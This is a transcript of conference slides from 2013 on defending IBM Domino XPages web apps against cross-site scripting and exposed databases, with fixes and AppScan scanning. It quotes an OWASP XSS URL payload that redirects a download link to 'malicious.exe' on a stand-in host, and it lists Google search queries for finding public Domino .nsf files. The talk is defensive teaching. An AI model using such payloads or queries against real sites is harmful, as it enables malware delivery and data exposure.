Mwlug2013 - can your Xpage codes stand up to hackers?

Can your Xpage App Stand Up to Criminals?

Bernie Leung

MESA TechnologyBernie Leung

MESA Technology

08/22/2013 Bernie Leung, MESA Technology www.MESATechnology.com


Not another Domino Security Talk, Right?


How to Secure Domino Server


Then what are these doing here?


Controlled Environment ? …. No More


Vulnerability


Topics:

1. XSS2. Security by Obscurity3. What can we do about it?

And DEMOS's - open your laptop and follow


Anatomy of Xpages Web App

<xp: ..... >


Anatomy of XPages

<xp: ..... >


Cross Site Scripting

Why is it Bad?

demo.


XSS – non persistent

For example, consider a site that has a welcome notice " Welcome %username% " and a download link

Instead you enterhttp://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

*Sample copied from OWASP


XSS – persistent

User form input, stored and later retrieved by others

*Sample copied from OWASP


In jsp,

Include JSTL (java standard tag lib)And output via c:out value="${outputWords}”

In Domino,

Add to NOTES.ini DominoValidateFramesetSRC=1

Fixing the Vulnerability


How Many other Libraries Do You Use?

Are you bringing in vulnerabilities?


Security by Obscurity


Another Common Vulnerability

Sensitive nsf open to public

Google is our frien-emy

inurl:/ibmsxpresinurl:/names.nsfinurl:/todo.nsf


DEMO


Keeping Up with the Bad Guys

IBM AppScan

Open Source


DEMO

How I Found the VulnerabilitiesUsing IBM AppScan


Thank You and Be Safe.

Contact Bernie Leung [email protected]

Mwlug2013 - can your Xpage codes stand up to hackers?

Technology

Transcript of Mwlug2013 - can your Xpage codes stand up to hackers?